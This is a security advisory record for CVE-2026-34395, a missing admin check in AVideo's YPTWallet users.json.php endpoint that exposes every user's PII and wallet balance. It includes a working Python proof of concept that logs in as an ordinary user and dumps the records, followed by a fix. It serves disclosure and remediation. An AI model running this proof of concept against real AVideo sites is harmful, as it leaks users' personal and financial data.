{"id":"CVE-2026-34395","aliases":["GHSA-77jp-mgcw-rfmr"],"url":"https://o3.security/vulnerability/CVE-2026-34395","summary":"AVideo: Mass User PII Disclosure via Missing Authorization in YPTWallet users.json.php","details":"**Severity:** High\n**CWE:** CWE-862 (Missing Authorization)\n\n### Summary\n\nThe `plugin/YPTWallet/view/users.json.php` endpoint returns all platform users with their personal information and wallet balances to any authenticated user. The endpoint checks `User::isLogged()` but does not check `User::isAdmin()`, so any registered user can dump the full user database.\n\n### Details\n\nThe authorization check at `plugin/YPTWallet/view/users.json.php:8`:\n\n```php\nif (!User::isLogged()) {\n    die(\"Is not logged\");\n}\n```\n\nThe query in `YPTWallet::getAllUsers()` selects all columns from both tables:\n\n```php\n$sql = \"SELECT w.*, u.*, u.id as user_id, IFNULL(balance, 0) as balance FROM users u \"\n    . \" LEFT JOIN wallet w ON u.id = w.users_id WHERE 1=1 \";\n```\n\nThe `cleanUpRowFromDatabase()` function strips fields matching `/pass/i` (removes `password` and `recoverPass`), but all other PII fields remain: `email`, `phone`, `address`, `zip_code`, `country`, `region`, `city`, `first_name`, `last_name`, `birth_date`, `isAdmin`, `analyticsCode`, `donationLink`, and `balance`.\n\nOther endpoints in the same directory (`saveBalance.php`, `adminManageWallets.php`, `pendingRequests.json.php`) all check `User::isAdmin()`.\n\n### Proof of Concept\n\n```python\nimport requests\n\nTARGET = \"https://your-avideo-instance.com\"\n\n# Step 1: Login as any regular (non-admin) user\nsession = requests.Session()\nsession.post(f\"{TARGET}/objects/login.json.php\", data={\n    \"user\": \"regular_user\",\n    \"pass\": \"regular_password\"\n})\n\n# Step 2: Request the users endpoint\nresp = session.post(f\"{TARGET}/plugin/YPTWallet/view/users.json.php\", data={\n    \"current\": \"1\",\n    \"rowCount\": \"10\"\n})\n\ndata = resp.json()\nprint(f\"Total users: {data['total']}\")\nfor u in data[\"rows\"]:\n    print(f\"  User: {u['user']}, Email: {u['email']}, Admin: {u['isAdmin']}, Balance: {u['balance']}\")\n```\n\nThe response contains every user on the platform, including admin accounts, with fields: `email`, `phone`, `address`, `zip_code`, `country`, `region`, `city`, `first_name`, `last_name`, `birth_date`, `isAdmin`, `balance`, `analyticsCode`, `donationLink`.\n\n### Impact\n\nAny registered user can extract the complete user database with PII (emails, phone numbers, addresses, birth dates, real names) and financial data (wallet balances). This is a mass data breach that may trigger notification requirements under GDPR or CCPA.\n\n### Recommended Fix\n\nChange `User::isLogged()` to `User::isAdmin()` at `plugin/YPTWallet/view/users.json.php:8`:\n\n```php\n// plugin/YPTWallet/view/users.json.php:8\n// Before:\nif (!User::isLogged()) {\n    die(\"Is not logged\");\n}\n\n// After:\nif (!User::isAdmin()) {\n    die(\"Is not logged\");\n}\n```\n\nThis matches the authorization pattern already used by the other endpoints in the same directory (`saveBalance.php`, `adminManageWallets.php`, `pendingRequests.json.php`).\n\n---\n\n*Found by [aisafe.io](https://aisafe.io)*","published":"2026-03-31T20:38:54.373Z","modified":"2026-08-12T03:51:23.969415603Z","cvss":{"score":6.5,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Packagist","name":"wwbn/avideo","fixedVersion":null}],"fix":{"url":"https://github.com/WWBN/AVideo/commit/db37b4e9d9e7c733e5d4c5881e10b2b9d2670983","label":"WWBN/AVideo@db37b4e"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/34xxx/CVE-2026-34395.json"},{"type":"ADVISORY","url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-77jp-mgcw-rfmr"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34395"},{"type":"WEB","url":"https://github.com/WWBN/AVideo/commit/db37b4e9d9e7c733e5d4c5881e10b2b9d2670983"},{"type":"PACKAGE","url":"https://github.com/WWBN/AVideo"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:23.969415603Z"}}